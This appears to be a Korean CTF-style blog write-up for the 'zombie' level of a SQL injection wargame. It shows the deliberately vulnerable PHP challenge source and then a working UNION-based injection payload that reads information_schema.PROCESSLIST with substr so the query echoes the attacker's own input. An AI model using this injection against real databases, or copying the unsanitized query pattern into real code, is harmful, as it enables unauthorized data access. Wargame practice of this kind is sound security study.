LOS Lv.31 zombie (풀이 봄)
zombie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
query : select pw from prob_zombie where pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect("zombie");
if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
highlight_file(__FILE__);
?>
Solution
이것도 역시 테이블 안에 아무 값도 없음.
ouroboros처럼 해줘야 하는데 replace에서 ace가 필터링되어있음.
답지를 보니.. information_schema에 processlist
가 있음.
이를 이용하여 풀 수 있음.
로컬 환경에서 테스트를 하였고 내가 입력한 부분은 {}
로 표시.
1
select id from test.rubiya where id='{' union SELECT info FROM information_schema.PROCESSLIST #}
이렇게 입력하면 결과는 다음처럼 나옴.
1
2
id
select id from test.rubiya where id='' union SELECT info FROM information_schema.PROCESSLIST LIMIT 0, 25
문제의 클리어 조건은 입력값과 비밀번호 값이 동일해야 한다는 것.
즉, 우리는 우리가 입력한 ' union SELECT info FROM information_schema.PROCESSLIST #
이 부분만 출력되도록 해줘야 하므로 substr함수를 이용할 꺼임.
그럼 substr함수가 추가되므로 우리가 입력할 값은 다음과 같음.
1
' union SELECT substr(info,??,??) FROM information_schema.PROCESSLIST #
1
2
3
select id from test.rubiya where id=' -> 길이는 37
' union SELECT substr(info,38,??) FROM information_schema.PROCESSLIST # -> 길이는 71
- 따라서 입력 값은 다음과 같음.
?pw=' union SELECT substr(info,38,71) FROM information_schema.PROCESSLIST %23
This post is licensed under CC BY 4.0 by the author.